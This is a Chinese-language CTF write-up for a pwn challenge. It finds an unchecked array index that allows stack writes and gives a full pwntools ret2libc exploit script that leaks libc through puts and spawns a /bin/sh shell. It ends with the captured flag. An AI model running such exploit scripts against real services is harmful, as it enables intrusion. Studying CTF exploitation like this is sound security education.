这是我的第一篇博客,写的不好还请见谅QAQ。小人彩笔Pwner一名,但会努力写出更多WP来丰富自己的经验的!

题目描述

这是一道来自于NPC²CTF的PWN题,难度为简单(实际上也不算很简单吧)
西电终端

分析

上来老规矩先运行一下程序 并且checksec一下 OwO

可以看到 这是一个64位的程序,开了Canary和NX保护 运行程序之后可以发现这是一个类似堆题那种菜单题

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-A4h] BYREF
__int64 v5; // [rsp+10h] [rbp-A0h] BYREF
__int64 v6; // [rsp+18h] [rbp-98h] BYREF
_QWORD lists[18]; // [rsp+20h] [rbp-90h] BYREF

lists[17] = __readfsqword(0x28u);
init(argc, argv, envp);
memset(lists, 0, 0x80uLL);
while ( 1 )
{
puts("'List' Option Menu:");
printf("The Size of the 'List' : %d\n", k);
puts("1:Change\n2:Add\n3:Delete\n4:Show\n5:Exit\nYour option:");
__isoc99_scanf("%d", &v4);
if ( v4 == 5 )
return 0;
if ( v4 == 3 )
{
puts("which 0ne?");
__isoc99_scanf("%d", &v6);
if ( (int)v6 >= k )
goto LABEL_18;
while ( (int)v6 < k )
{
lists[(int)v6] = lists[(int)v6 + 1];
LODWORD(v6) = v6 + 1;
}
--k;
puts("OK");
}
if ( v4 == 2 )
{
if ( ++k <= 16 )
{
printf("Elem:");
__isoc99_scanf("%lld", &v6);
lists[k] = v6;
goto LABEL_13;
}
LABEL_18:
puts("Invalid option!");
}
else
{
LABEL_13:
if ( v4 == 1 )
{
if ( k > 16 )
goto LABEL_18;
__isoc99_scanf("%lld%lld", &v5, &v6);
lists[v5] = v6;
}
if ( v4 == 4 )
{
if ( k > 16 )
goto LABEL_18;
for ( i = 1; i <= k; ++i )
printf("%lld ", lists[i]);
putchar('\n');
}
}
}
}

一看反编译 不是堆题!!! 实现了一个很简单的list,可以进行增删改查和退出 慢慢分析 可以找到一个非常明显的漏洞

1
2
3
4
5
6
7
if ( v4 == 1 )
{
if ( k > 16 )
goto LABEL_18;
__isoc99_scanf("%lld%lld", &v5, &v6); //这里并没有对v5进行越界检查,使得可以对栈上数据进行改写
lists[v5] = v6;
}

发现没有对v5进行越界检查,使得可以对栈上数据进行改写 但是这里请注意v6的格式是%lld 所以之后在写攻击脚本的时候要格外注意一下
那么事情就很简单了,看一眼IDA里的栈情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
-00000000000000B0 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000B0 // Frame size: B0; Saved regs: 8; Purge: 0
-00000000000000B0
-00000000000000B0 // padding byte
-00000000000000AF // padding byte
-00000000000000AE // padding byte
-00000000000000AD // padding byte
-00000000000000AC // padding byte
-00000000000000AB // padding byte
-00000000000000AA // padding byte
-00000000000000A9 // padding byte
-00000000000000A8 // padding byte
-00000000000000A7 // padding byte
-00000000000000A6 // padding byte
-00000000000000A5 // padding byte
-00000000000000A4 _DWORD var_A4;
-00000000000000A0 _QWORD var_A0;
-0000000000000098 _QWORD var_98;
-0000000000000090 _QWORD lists;
-0000000000000088 // padding byte
-0000000000000087 // padding byte
-0000000000000086 // padding byte
-0000000000000085 // padding byte
-0000000000000084 // padding byte
-0000000000000083 // padding byte
-0000000000000082 // padding byte
-0000000000000081 // padding byte
-0000000000000080 // padding byte
-000000000000007F // padding byte
-000000000000007E // padding byte
-000000000000007D // padding byte
-000000000000007C // padding byte
-000000000000007B // padding byte
-000000000000007A // padding byte
-0000000000000079 // padding byte
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 // padding byte
-0000000000000073 // padding byte
-0000000000000072 // padding byte
-0000000000000071 // padding byte
-0000000000000070 // padding byte
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

由于这个数组是_QWORD类型 所以一个下标是八字节 那么就可以算出这个数组头距离返回地址的距离为0x90+0x8=19x8 也就是这个数组的第十九个下标就是返回地址

写攻击脚本

攻击脚本如下Owo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'
p=remote('127.0.0.1',45407)
#p=process('./list')
elf=ELF('./list')
libc=ELF('./libc.so.6')
gdb.attach(p)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400ad3
main_addr=0x4007c1
def Rop(cont,idx):
p.sendlineafter('Your option:',b'1')
p.sendline(cont)
p.sendline(str(idx))
Rop(b'19',pop_rdi)
Rop(b'20',puts_got)
Rop(b'21',puts_plt)
Rop(b'22',main_addr)
p.sendline(b'5')
p.recvuntil('Your option:\n')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
print('puts_addr:',hex(puts_addr))
print('libc_base:',hex(libc_base))
system_addr=libc_base+libc.sym['system']
print('system_addr:',hex(system_addr))
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
Rop(b'19',pop_rdi)
Rop(b'20',bin_sh)
Rop(b'21',system_addr)
p.sendline(b'5')
p.interactive()

很简单的ret2libc 首先先从程序文件中提取出puts_got和puts_plt 并且使用ROPgadget找到一个pop rdi用来传递参数
定义一个Rop函数用来简化操作(一定要用函数来简化自己的操作!!特别是这种菜单题!) 注意这里的所有数据都是用str()来传递的(前面提到的%lld的原因) 覆盖返回地址之后要记得exit一下!!!这样才能让main函数返回

得到弗莱格咯!!!


flag{4rrAy_1nD3x-ouT-of_B0UnDS_Is_5o_d@NG3rOU5lll12}